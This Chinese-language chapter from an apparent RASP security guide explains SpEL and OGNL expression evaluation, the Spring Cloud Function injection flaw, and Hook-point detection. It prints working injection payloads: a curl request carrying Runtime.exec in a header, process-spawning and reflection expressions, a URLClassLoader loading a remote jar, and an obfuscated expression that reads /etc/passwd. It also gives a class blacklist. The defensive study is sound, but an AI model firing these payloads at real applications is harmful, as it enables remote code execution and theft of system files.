Skip to content

第10章 表达式执行原理与检测

10.0 本章简介

表达式注入是一种常见的安全漏洞,攻击者利用应用程序中的表达式解析功能来注入恶意代码,从而实现对应用程序的非法控制。SpEL和OGNL是两种常见的表达式语言,广泛应用于各种应用程序中, 本文将详细介绍这两种表达式的使用,并对执行原理进行分析, 然后分析典型的漏洞案例,最后介绍Hook点的选择和RASP检测算法。

10.1 SpEL使用与源码解析

熟悉表达式的使用对于漏洞的检测是非常关键的,本节将详细介绍SpEL表达式的各种用法并对源码进行分析。

10.1.1 基本语法与使用

  • 执行字符串表达式
java
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'"); 
String value = (String) exp.getValue();
  • 调用方法
java
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')"); 
String value = (String) exp.getValue();
  • 访问属性
java
ExpressionParser parser = new SpelExpressionParser();
// invokes 'getBytes()'
Expression exp = parser.parseExpression("'Hello World'.bytes"); 
byte[] bytes = (byte[]) exp.getValue();

SpEL还通过使用标准点表示法(如prop1.prop2.prop3)和属性值的设置来支持嵌套属性。 也可以访问公共字段。以下示例显示了如何使用点表示法来获取文字的长度:

java
ExpressionParser parser = new SpelExpressionParser();
// invokes 'getBytes().length'
Expression exp = parser.parseExpression("'Hello World'.bytes.length"); 
int length = (Integer) exp.getValue();
  • 调用构造函数

可以使用new运算符来调用构造函数。除了基元类型(int、float等)和String之外, 其它类型都应该使用完全限定类名。 java.lang包下的类可以使用短名称,如下例子:

java
// 调用String类的构造器创建一个新的字符串并将其转换为大写
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("new String('hello world').toUpperCase()"); 
String value = exp.getValue(String.class);

使用完全限定类名创建对象,如下所示:

java
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("new java.lang.String('hello world').toUpperCase()");
String value = exp.getValue(String.class);
  • T运算符

还可以使用特殊的T运算符来指定java.lang.Class的实例。静态方法也可以通过使用此运算符来调用。 与创建对象一样,java.lang包下的类型的使用T()引用不需要完全限定名称,但所有其它类型引用都必须是完全限定名称。 以下示例说明如何使用T运算符:

java
Class dateClass = parser.parseExpression("T(java.util.Date)").getValue(Class.class);

Class stringClass = parser.parseExpression("T(String)").getValue(Class.class);

boolean value = parser.parseExpression(
        "T(java.math.RoundingMode).CEILING < T(java.math.RoundingMode).FLOOR")
        .getValue(Boolean.class);

这里仅介绍几个在漏洞利用中使用频率较高的用法,完整的使用教程可以参考SpEL官方文档:

图10-1 SpEL官方文档

图10-1 SpEL官方文档

SpEL官方文档:https://docs.spring.io/spring-framework/docs/5.1.6.RELEASE/spring-framework-reference/core.html#expressions

10.1.2 源码解析

10.1.2.1 表达式解析为语法树

在了解其API的使用之后,应该深入分析其实现原理,这是选取合适Hook类的关键,因此源码分析是十分必要的。 本节将对SpEL表达式语法解析、编译和执行过程做一个Debug(代码以图片的形式展现)。

下面的代码执行一个简单的表达式,调用java.lang.Math类的静态方法random生成一个随机数并乘以100.0,然后获取表达式的值并输出。

图10-2 Debug的表达式代码

图10-2 Debug的表达式代码

先对图10-2中的第1处的代码进行debug。进入到TemplateAwareExpressionParser的parseExpression方法。

图10-3 TemplateAwareExpressionParser的parseExpression方法

图10-3 TemplateAwareExpressionParser的parseExpression方法

实际调用了SpelExpressionParser的doParseExpression方法。

图10-4 SpelExpressionParser的doParseExpression方法

图10-4 TemplateAwareExpressionParser的doParseExpression方法

在doParseExpression方法中创建一个InternalSpelExpressionParser对象并调用doParseExpression方法。

图10-5 InternalSpelExpressionParser的doParseExpression方法

图10-5 InternalSpelExpressionParser的doParseExpression方法

方法执行到此处才开始真正的表达式解析,ExpressionParser接口的UML类图如下图10-6所示。

图10-6 ExpressionParser接口的子类UML图

图10-6 ExpressionParser接口的子类UML图

从图中可以看出,实际完成解析工作的方法都在InternalSpelExpressionParser中。其中tokenizer.process()这一步比较关键, 会解析出现的每一个字符,包括特殊字符如"("、")"、"*"和"."等。

图10-7 表达式中特殊字符解析

图10-7 表达式中特殊字符解析

然后调用eatExpression()方法将表达式按照据逻辑符号拆分为基本运算单元, 常见的逻辑符号为:or、and、||、&&、+、-、、/、++等。 本例子中表达式为乘法运算符号,因此将返回一个OpMultiply对象。

图10-8 表达式按照逻辑运算符号拆分

图10-8 表达式按照逻辑运算符号拆分

最后生成AST语树如下图10-9所示。

图10-9 生成AST语法树

图10-9 生成AST语法树

表达式将分为如下2个表达式节点T(java.lang.Math).random()100.0,2个表达式节点的的连接符号是"*"。

至此,字符串形式的表达式转化为一棵AST语法树,其结构如图10-10所示:

图10-10 AST语法树结构

图10-10 AST语法树结构

10.1.2.2 表达式计算

在上一小节中,我们得到了表达式的AST语法树,本节将对AST语法树求值。 AST语法树的root节点是一个乘法操作OpMultiply对象,来看下它的代码。

图10-11 OpMultiply求值

图10-11 OpMultiply求值

分别计算乘法左右两边表达式的值,然后就可以计算乘法表达式的最终值。 本例子中的右边是一个数字字符串,其值只需要将字符串转为double类型即可。 而左边是一个包含T运算的复合表达式,继续跟进左边表达式的计算方法中。

复合表达式又可以拆分为2部分:T(java.lang.Math)和 random(),复合表达式的运算符号是"."。

第一部分是T(java.lang.Math),是一个TypeReference类型的节点,其计算过程如下:

图10-12 TypeReference类型值的计算

图10-12 TypeReference类型值的计算 可以看出T运算符号用来获取类型的java.lang.Class对象。

加载指定的类获取Class对象,这个是后面反射执行方法的基础。

图10-13 findType对类进行查找

图10-13 findType对类进行查找

第二部分是一个MethodReference节点,其计算过程如下:

图10-14 MethodReference类型值的计算

图10-14 MethodReference类型值的计算

根据java.lang.Class对象、方法名称、参数列表查找需要调用的方法,找到方法后更新方法的缓存cachedExecutor, 然后反射调用该方法并返回调用的值。

其中ReflectiveMethodExecutor类的execute方法完成反射调用,代码如下:

图10-15 ReflectiveMethodExecutor类的execute方法完成反射调用

图10-15 ReflectiveMethodExecutor类的execute方法完成反射调用

至此,表达式求值过程完成。

10.2 OGNL使用与源码解析

OGNL表达式,即Object-Graph Navigation Language,是一种在Java中使用的功能强大的表达式语言。 它被集成在Mybatis和Struts2等框架中,主要用于访问数据,具有类型转换、访问对象方法、操作集合对象等功能 。OGNL表达式的语法简单且一致,能通过简单的表达式访问对象的任意属性,调用对象的方法,以及遍历对象的结构图等。

首先来介绍下OGNL的三要素:

  • 表达式

表达式(Expression)是整个OGNL的核心内容,所有的OGNL操作都是针对表达式解析后进行的。 通过表达式来告诉OGNL操作到底要干些什么。因此,表达式其实是一个带有语法含义的字符串, 整个字符串将规定操作的类型和内容。OGNL表达式支持大量的表达式, 如“链式访问对象”、表达式计算、甚至还支持Lambda表达式。

  • Root对象

OGNL的Root对象可以理解为OGNL的操作对象。当我们指定了一个表达式的时候, 我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是Root对象, 这就意味着,如果有一个OGNL表达式,那么我们需要针对Root对象来进行OGNL表达式的计算并且返回结果。

  • 上下文环境

有个Root对象和表达式,我们就可以使用OGNL进行简单的操作了, 如对Root对象的赋值与取值操作。但是,实际上在OGNL的内部, 所有的操作都会在一个特定的数据环境中运行。 这个数据环境就是上下文环境(Context)。OGNL的上下文环境是一个Map结构, 称之为OgnlContext。Root对象也会被添加到上下文环境当中去。

10.2.1 基本使用

本节仅介绍其基本用法。

  • 对Root对象的访问
java
User user = new User();
user.setId(1);
user.setName("admin");

// 创建上下文环境
Map context = new HashMap();
context.put("introduction", "My name is ");

// 测试从Root对象中进行表达式计算并获取结果
Object name = Ognl.getValue(Ognl.parseExpression("name"), user);
System.out.println(name.toString());
  • 对上下文对象的访问

使用OGNL的时候如果不设置上下文对象,系统会自动创建一个上下文对象, 如果传入的参数当中包含了上下文对象则会使用传入的上下文对象。 当访问上下文环境当中的参数时候,需要在表达式前面加上'#',表示了与访问Root对象的区别。 具体代码如下:

java
Object contextValue = Ognl.getValue(Ognl.parseExpression("#introduction"), context, user);
System.out.println(contextValue.toString());
  • 创建集合对象

OGNL支持直接使用表达式来创建集合对象。主要有三种情况: 构造List对象:使用{},中间使用','进行分割如{"aa", "bb", "cc"} ; 构造Map对象:使用#{},中间使用','进行分割键值对,键值对使用':'区分,如#{"key1" : "value1", "key2" : "value2"} 构造任意对象:直接使用已知的对象的构造方法进行构造。 要创建对象列表,请将表达式列表放在大括号中。与方法参数一样,这些表达式不能使用逗号运算符,除非它被括在括号中。以下是一个例子:

java
name in { null,"Untitled" }

这将测试名称属性是否为null或等于"Untitled"。 上述描述的语法将创建List接口的一个实例。具体的子类未定义

有时您希望创建Java本地数组,例如int[]或Integer[]。OGNL支持类似于通常调用构造函数的方式创建这些数组,但允许从现有列表或数组的给定大小初始化本地数组。

java
// 创建一个由三个整数1、2和3组成的新int数组。
new int[] { 1, 2, 3 }
// 创建所有元素为null或0的数组
new int[5]
java
// 创建map
#{ "foo" : "foo value", "bar" : "bar value" }
// 创建特定类型的map
#@java.util.LinkedHashMap@{ "foo" : "foo value", "bar" : "bar value" }
  • 调用构造函数创建对象

可以像在Java中一样使用new关键字创建新对象。除了java.lang包中的类之外,其它类必须指定类的完全限定名称。

java
Ognl.getValue("new java.lang.Integer(100)", null);
// java.lang包下的类,可以省去包名称
Ognl.getValue("new Integer(100)", null);
  • 调用静态方法

使用语法@class@method(args)调用静态方法。除了java.lang包中的类之外,其它类必须指定类的完全限定名称。

java
Ognl.getValue("@java.lang.Integer@valueOf('100')", null)
// java.lang包下的类,可以省去包名称
Ognl.getValue("@Integer@valueOf('100')", null)
  • 获取静态字段

与调用静态方法一样,可以使用语法@class@field引用静态字段。除了java.lang包中的类之外,其它类必须指定类的完全限定名称。

java
Ognl.getValue("@java.lang.Integer@TYPE", null);
// java.lang包下的类,可以省去包名称
Ognl.getValue("@Integer@TYPE", null);

图10-16 Ognl官方文档

图10-16 Ognl官方文档

Ognl官方文档:https://commons.apache.org/dormant/commons-ognl/language-guide.html

10.2.2 源码解析

在了解其API的使用之后,应该深入分析其实现原理,这是选取合适Hook类的关键,因此源码分析是十分必要的。 本节将对OGNL表达式语法解析、编译和执行过程做一个Debug(代码以图片的形式展现)。

10.2.2.1 表达式词法语法解析

下面的代码执行一个简单的表达式,调用java.lang.Math类的静态方法random生成一个随机数并乘以100.0,然后获取表达式的值并输出。

图10-17 Debug的表达式代码

图10-17 Debug的表达式代码

图10-17中的代码第7行处实际调用Ognl类中的getValue方法,调用Ognl类中的getValue的重载方法对表达式进行初步处理(图10-18代码460行处)。

图10-18 Ognl.getValue对表达式进行初步处理

图10-18 Ognl.getValue对表达式进行初步处理

在图10-18中的代码480行处,实际调用了parseExpression对表达式的解析,并将解析的返回结果作为getValue方法的入参, 来看下parseExpression对表达式的解析。

图10-19 Ognl.parseExpression对表达式的处理

图10-19 Ognl.parseExpression对表达式的处理

OgnlParser是一个JavaCC解析器,它将OGNL表达式转换为抽象语法树(AST),然后可以被getValue和setValue方法获取和设置值。 代码137行处创建了一个OgnlParse对象来解析给定的表达式,并返回能被Ognl方法处理AST语法树,AST语法树的节点数据如下。 代码138行处parser.topLevelExpression方法返回AST语法树的顶层root节点。

图10-20 OgnlParser获取的AST语法树

图10-20 OgnlParser获取的AST语法树

从图10-20的变量区域可以看出,AST语法树的root节点是一个ASTMultiply类型节点, root节点下面有2个子节点分别ASTStaticMethod和ASTConst类型节点。

10.2.2.2 表达式节点值计算

在获取了表达式的AST语法树之后,开始计算表达式的节点的值。

图10-21 计算节点root节点的值

图10-21 计算节点root节点的值

root节点的类型是ASTMultiply,来看下的值的计算方法:

图10-22 ASTMultiply类型节点的值计算

图10-22 ASTMultiply类型节点的值计算

获取第一个节点的值,然后与下一个子节点的值相乘。上面代码的第408行处,实际会调用子类的getValue方法计算具体的值。 获取节点的值先调用SimpleNode类的getValue方法。

图10-23 SimpleNode类的getValue方法

图10-23 SimpleNode类的getValue方法

实际调用evaluateGetValueBody,来看下这个方法。

图10-24 SimpleNode类的evaluateGetValueBody方法

图10-24 SimpleNode类的evaluateGetValueBody方法

在代码第171行,evaluateGetValueBody在计算非常量情况的结果时会调用子类的getValueBody。

Ognl在处理节点时分为多种情况进行处理:ASTChain、ASTConst、ASTCtor、ASTInstanceof、ASTList、ASTMethod、ASTStaticField、ASTStaticMethod等。

图10-25 SimpleNode抽象类的子类

图10-25 SimpleNode抽象类的子类

在本例子中,表达式的第一个子节点类型是ASTStaticMethod,来看下它的getValueBody方法的实现。

图10-26 ASTStaticMethod类的getValueBody方法

图10-26 ASTStaticMethod类的getValueBody方法

实际调用OgnlRuntime类的callStaticMethod方法。

图10-27 OgnlRuntime类的callStaticMethod方法

图10-27 OgnlRuntime类的callStaticMethod方法

继续跟进这个方法的实现,调用了ObjectMethodAccessor的callMethod方法

图10-28 ObjectMethodAccessor的callMethod方法

图10-28 ObjectMethodAccessor的callMethod方法

最终调用的方法是OgnlRuntime的静态方法invokeMethod。

图10-29 OgnlRuntime的静态方法invokeMethod方法

图10-29 OgnlRuntime的静态方法invokeMethod

至此,表达式的子节点的值全部计算完成,root节点将全部子节点的值相乘得到表达式的值。

10.3 Spring Cloud Function 表达式注入漏洞案例

  • 漏洞简介

SpringCloudFunction是一个SpringBoot开发的Servless中间件(FAAS),支持基于SpEL的函数式动态路由。在特定配置下,存在SpEL表达式执行导致的RCE。

  • 影响版本

3 <= 版本 <= 3.2.2(commit dc5128b) 之前

  • 漏洞原理

在main分支commit dc5128b中,代码链接: https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52 从代码Diff可以看出新增了SimpleEvaluationContext

图10-30 SpringCloudFunction漏洞修复代码Diff

图10-30 SpringCloudFunction漏洞修复代码DIFF

同样的,官方测试用例已经清楚地写明了漏洞位置与Payload:

图10-31 漏洞位置与Payload

图10-31 漏洞位置与Payload

提取出测试类后在apply方法下断点并跟入,省略一些中间流程,最终可以看到从HTTP header中spring.cloud.function.routing-expression 中取出SpEL表达式 并由StandardEvaluationContext解析。

  • 漏洞复现

使用官方提供的function-sample来复现漏洞(切换到tag v3.2.1)

图10-32 使用官方提供的function-sample来复现漏洞

图10-32 使用官方提供的samples来复现漏洞

编译完成之后,启动scfunc-0.0.1-SNAPSHOT.jar,并注入RASP,如下图10-33所示:

图10-33 启动漏洞服务并加载RASP

图10-33 启动漏洞服务并加载RASP

发起攻击请求,在请求的header中注入命令执行的表达式,如下:

java
curl --location --request POST 'http://ip:8080/functionRouter' \
--header 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("open /Applications/QQ.app")' \
--header 'Content-Type: text/plain' \
--data 'Hello'

RASP将攻击阻断,如下图10-34所示:

图10-34 RASP阻断SPEL表达式注入

图10-34 RASP阻断SPEL表达式注入

10.4 Hook点与检测算法

一般的,我们只需要获取原始表达式,然后对原始的表达式做关键字符串匹配即可,如果存在指定的特征如命令执行的相关的类,可以简单判定该表达式是否为攻击。 这种检测算法很容易被特殊字符或者特殊语法绕过,如下例子:

java
// 常规的写法:调用java.lang.Runtime执行命令
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
// 短名称写法: java.lang包下的类可以省去包名称,只保留类名称       
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})

如果检测算法设定的黑名单为字符串java.lang.Runtime,而短名称的写法可以实现对黑名单的绕过。

仔细分析OGNL的代码,存在如下代码对执行类的校验:

图10-35 OGNL对执行类的校验

图10-35 OGNL对执行类的校验

在1处,获取了被反射执行方法的类,如果方法的类来源于特定类的,如java.lang.Runtimejava.lang.ClassLoaderjava.lang.ProcessBuilder等,将会抛出异常阻断表达式的执行。

这给我们RASP的Hook点的选择一个很好的提示,Hook类的选择应该关注表达式实际加载的类和执行的方法,而不仅仅是表达式本身。 下面将介绍SpEL和OGNL的Hook点的选择。

10.4.1 Hook点的选择

  • SPEL表达式Hook点选择

选择类org.springframework.expression.common.TemplateAwareExpressionParser 的parseExpression方法。 该方法的源码如下,通过前面对源码的分析,Hook该方法能够获取需要执行的原始表达式的值。

图10-36 TemplateAwareExpressionParser类的parseExpression方法

图10-36 TemplateAwareExpressionParser类的parseExpression方法

从源码分析可以知道SPEL表达式的方法的执行分为2步:第一步是查找类的Class对象,即调用 org.springframework.expression.spel.support.StandardTypeLocator的findType方法,Hook该方法能够获取需要加载的类。

图10-37 StandardTypeLocator的findType方法

图10-37 StandardTypeLocator的findType方法

第二步是反射调用方法,表达式中方法的执行最终都在org.springframework.expression.spel.support.ReflectiveMethodExecutor类的execute方法完成, 其源码如下,Hook该方法能够获取被反射的类和方法。

图10-38 ReflectiveMethodExecutor类的execute方法

图10-38 ReflectiveMethodExecutor类的execute方法

  • OGNL表达式Hook点选择

选择Hook ognl.Ognl类的parseExpression方法来获取原始表达式的值,该方法的源码如下:

图10-39 Ognl类的parseExpression方法

图10-39 Ognl类的parseExpression方法

从源码分析可以知道ognl.OgnlRuntime类的invokeMethod负责方法调用,其源码如下:

图10-40 OgnlRuntime类的invokeMethod方法

图10-40 OgnlRuntime类的invokeMethod方法

ognl.OgnlRuntime类的callConstructor方法则负责调用构造器方法,其源码如下:

图10-41 OgnlRuntime类的callConstructor方法

图10-41 OgnlRuntime类的callConstructor方法

10.4.2 表达式注入与检测算法

由于OGNL与SpEL表达式除了Hook点不一样,检测算法几乎一样,这里以SpEL表达式的检测算法为例子说明。

10.4.2.1 具备攻击能力的SpEL表达式举例

常见的具备攻击能力的表达式写法如下:

java
// 使用java.lang.ProcessBuilder执行命令
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
// 使用ProcessBuilder执行命令
new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()        
// 使用java.lang.Runtime执行命令
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
// 使用Runtime执行命令
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})
// nashorn 引擎
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
// javascript 引擎
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
// 类加载
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")        
// 反射 java.lang.Runtime
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
// 反射 java.lang.ProcessBuilder
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()

10.4.2.2 类与方法黑名单

通过检测表达式执行过程中加载的类和反射调用的方法,比较容易的识别表达式执行是否存在攻击。

java
java.lang.Runtime
java.lang.ProcessBuilder
java.lang.UNIXProcess
java.lang.ProcessImpl
java.lang.Classloader
java.lang.Class
java.lang.Thread
java.lang.ThreadGroup
java.lang.System
java.net.URL
java.net.URLClassLoader
javax.naming.InitialContext
javax.script.ScriptEngineManager
org.springframework.cglib.core.ReflectUtils
// ...

10.4.2.3 表达式最大长度限制

上面列的攻击方式还有其它的变种,如果仅限上面的黑名单类,很容易被绕过。 某个命令执行回显的Poc如下,显然其长度超过了正常表达式的长度。 一般应用的表达式不会太长,因此可以对表达式的长度做一个限制,例如OpenRasp中采用了这个算法。 如SpEL表达式字符串的长度一般在30~200,超过了最大的长度可以记录日志,方便离线分析。

java
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character)
        .toString(99)
        .concat(T(java.lang.Character).toString(97))
        .concat(T(java.lang.Character).toString(116))
        .concat(T(java.lang.Character).toString(32))
        .concat(T(java.lang.Character).toString(47))
        .concat(T(java.lang.Character).toString(101))
        .concat(T(java.lang.Character).toString(116))
        .concat(T(java.lang.Character).toString(99))
        .concat(T(java.lang.Character).toString(47))
        .concat(T(java.lang.Character).toString(112))
        .concat(T(java.lang.Character).toString(97))
        .concat(T(java.lang.Character).toString(115))
        .concat(T(java.lang.Character).toString(115))
        .concat(T(java.lang.Character).toString(119))
        .concat(T(java.lang.Character).toString(100)))
        .getInputStream())